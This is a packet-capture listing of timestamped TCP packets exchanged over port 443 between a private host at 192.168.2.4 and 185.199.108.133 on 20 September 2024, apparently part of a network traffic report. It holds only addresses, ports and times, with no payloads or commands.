Sep 20, 2024 12:14:50.535670042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.535751104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.535751104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.536021948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.536065102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.536103964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.536109924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.536173105 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.536173105 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.536444902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.536484957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.536524057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.536530018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.536588907 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.536588907 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.576391935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.576452017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.576539993 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.576559067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.576596975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.576620102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.576767921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.576812983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.576858997 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.576870918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.576903105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.576931000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.577497005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.577545881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.577593088 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.577603102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.577640057 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.577660084 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.587564945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.587608099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.587713957 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.587727070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.587786913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.588272095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.588313103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.588368893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.588380098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.588414907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.588434935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.588766098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.588805914 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.588848114 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.588857889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.588902950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.588928938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.589839935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.589893103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.589947939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.589957952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.589992046 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.590025902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.590240002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.590281010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.590323925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.590333939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.590365887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.590401888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.610670090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.610714912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.610765934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.610773087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.610826015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.610934973 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611007929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611043930 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611049891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611072063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611174107 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611380100 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611460924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611498117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611504078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611536026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611569881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611780882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611831903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611877918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611882925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611921072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611943960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.611944914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.611973047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.612023115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.612061977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.612380981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.612386942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.612441063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.622520924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.622564077 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.622715950 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.622725010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.622760057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.622849941 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.623018980 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.623075008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.623097897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.623102903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.623161077 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.623161077 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.623820066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.623872995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.623907089 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.623913050 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.623950958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.624079943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.663851023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.663896084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.663978100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664038897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664074898 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664160013 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664216995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664257050 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664313078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664325953 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664354086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664397955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664520025 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664558887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664628983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664639950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.664668083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.664701939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.674628973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.674670935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.674724102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.674736977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.674765110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.674806118 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.675132036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.675189018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.675245047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.675256014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.675304890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.675323963 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.675542116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.675581932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.675623894 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.675635099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.675662994 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.675684929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.677222013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.677263021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.677313089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.677324057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.677351952 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.677369118 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.677582979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.677623034 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.677671909 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.677683115 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.677716017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.677752972 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.707822084 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.707865000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.707922935 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.707932949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.707974911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708209038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708252907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708292961 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708298922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708319902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708372116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708602905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708643913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708672047 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708678007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708709955 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708760977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.708949089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.708991051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.709028959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.709034920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.709065914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.709271908 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.709600925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.709692955 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.709729910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.709736109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.709763050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.709785938 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.712229013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.712275982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.712342024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.712346077 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.712372065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.712399960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.712721109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.712773085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.712809086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.712815046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.712872028 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.712872028 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.713268042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.713310003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.713349104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.713355064 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.713417053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.713417053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751101017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751147032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751234055 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751256943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751281977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751290083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751316071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751327991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751358032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751358986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751440048 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751440048 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751455069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751527071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751545906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751585960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751632929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751645088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.751674891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.751707077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762150049 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762193918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762255907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762269974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762295961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762314081 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762444973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762484074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762526035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762536049 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762576103 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762594938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762624025 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762662888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762706041 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762716055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.762749910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.762784004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.764789104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.764830112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.764879942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.764893055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.764929056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.764954090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.765155077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.765196085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.765243053 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.765254974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.765285969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.765307903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795209885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795289993 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795408964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795420885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795439005 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795452118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795475006 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795480013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795504093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795535088 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795631886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795638084 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795742035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795809984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795849085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.795938969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795938969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.795948982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.796001911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.796169043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.796211004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.796247005 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.796252012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.796287060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.796363115 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.797024012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.797065020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.797101021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.797106028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.797166109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.797166109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.799690962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.799742937 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.799778938 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.799787998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800035000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800048113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800048113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800057888 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800081968 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800112009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800271988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800276995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800328016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800419092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800457954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800493956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800502062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.800558090 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.800558090 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.838316917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.838386059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.838498116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.838581085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.838700056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.838700056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.838700056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.838767052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.839606047 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.839649916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.840035915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.840101004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.849934101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.849999905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850194931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.850195885 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.850260019 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850497961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850536108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850811958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850811005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.850811005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.850858927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850891113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.850903034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.850939035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.850980043 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.852880955 CEST	443	58640	185.199.108.133	192.168.2.4
